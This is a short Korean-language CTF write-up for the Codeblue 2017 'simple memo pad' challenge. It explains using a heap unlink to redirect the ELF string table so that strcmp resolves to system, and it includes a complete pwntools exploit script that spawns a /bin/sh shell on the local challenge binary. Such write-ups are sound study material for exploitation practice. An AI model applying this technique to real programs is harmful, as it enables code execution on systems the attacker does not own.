-
Codeblue 2017 simple memo padPwnable/CTF 2018. 1. 17. 23:21
return to dl-resolve 기법 공부를 다 하지 않고 풀어버렷다 ..
대충 원리정도만 공부를 하고 find 명령어로 strtab주소를 가지고있는곳을 찾고그곳에 delete구문중 unlink가 있으니 delete를 이용하여서 strtab을 부르고있는? 주소인 0x601858에 2번째 청크 주소를 넣고
123456LOAD:0000000000400418 ; ELF String TableLOAD:0000000000400418 byte_400418 db 0 ; DATA XREF: LOAD:0000000000400298↑oLOAD:0000000000400418 ; LOAD:00000000004002B0↑o ...LOAD:000000000040047B aStrcmp db 'strcmp',0 ; DATA XREF: LOAD:0000000000400370↑ocs위에서 0x40047b - 0x400418를 빼면 0x63이 나온다. 우리가 넣는 데이터는 struct + 0x10 부터이니 0x63 - 0x10을 뺀 0x53만큼 더미값을 넣고 system을 넣으면 strcmp가 호출되야될때 system이 호출될것이다.
마지막 quit를 했을때 strcmp(내가 입력한 값,'y')로 함수를 호출하기때문에 system으로 변조하기 좋다.
1234567891011121314151617181920212223242526272829303132333435363738from pwn import *p=process("./simple_memo_pad")elf=ELF("./simple_memo_pad")def write(content):p.recvuntil('> ')p.sendline("1")p.recvuntil(': ')p.sendline(content)def edit(idx,content):p.recvuntil('> ')p.sendline("2")p.recvuntil(': ')p.sendline(str(idx))p.recvuntil(': ')p.sendline(content)def delete(idx):p.recvuntil('> ')p.sendline("3")p.recvuntil(': ')p.sendline(str(idx))write("A"*0x53+"system\x00")write("B"*128)write("C"*128)edit(3,"a"*128+p64(0x601858-152))delete(3)p.recv(1024)p.sendline("5")p.recvuntil(':')p.sendline("/bin/sh")p.interactive()cs 'Pwnable > CTF' 카테고리의 다른 글
Codegate 2017 Final building_owner (0) 2018.01.21 Christmas CTF 2017 BitcoinGallery (0) 2018.01.18 Codegate 2017 hunting (0) 2018.01.17 WITHCON 2017 bank (0) 2018.01.15 WITHCON 2017 combination (0) 2018.01.12